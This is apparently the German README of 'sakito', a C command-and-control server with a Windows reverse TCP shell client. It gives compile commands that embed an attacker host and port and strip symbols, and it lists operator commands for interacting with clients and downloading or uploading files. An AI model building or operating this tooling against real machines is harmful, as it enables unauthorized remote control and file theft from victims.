
Multithreaded, Multi-Betriebssystem/Plattform (Linux/Windows) C2-Server und Windows Reverse-TCP-Shell-Client, beide in C geschrieben.
Mehrthread-fähiger, plattformübergreifender (Linux/Windows) C2-Server und Windows Reverse-TCP-Shell-Client, beide in C geschrieben.
Kompilieren des Reverse-TCP-Shell-Clients mit i686-w64-mingw32-gcc:
i686-w64-mingw32-gcc sakito_revshell.c lib/windows/sakito_win_core.c -o sakito_revshell.exe -s -ffunction-sections -fdata-sections -fno-exceptions -fmerge-all-constants -static-libgcc -lws2_32 -D PORT=<port_number> -D HOST=\"<server_ipv4_address>\"
Kompilieren des Reverse-TCP-Shell-Clients mit cl.exe in der Developer-Eingabeaufforderung:
cl.exe sakito_revshell.c lib/windows/sakito_win_core.c /D PORT=<port_number> /D HOST=\"<server_ipv4_address>\"
Kompilieren des Linux-Servers mit GCC:
gcc -pthread sakito_server.c lib/sakito_server_tools.c lib/linux/sakito_slin_utils.c -o sakito_server -D PORT=<port_number>
Kompilieren des Windows-Servers mit cl.exe in der Developer-Eingabeaufforderung:
cl.exe sakito_server.c lib/windows/sakito_win_core.c lib/sakito_server_tools.c lib/windows/sakito_swin_utils.c /D PORT=<port_number>
Befehlsliste:
list: listet verfügbare Verbindungen auf.
interact [id]: mit Client interagieren.
download [filename]: eine Datei vom Dateisystem des Clients auf das Dateisystem des Servers herunterladen.
upload [filename]: eine Datei vom Dateisystem des Servers auf das Dateisystem des Clients hochladen.
background: Client in den Hintergrund versetzen.
exit: Client oder Host beenden.
cd [dir]: Verzeichnis auf Client oder Host wechseln.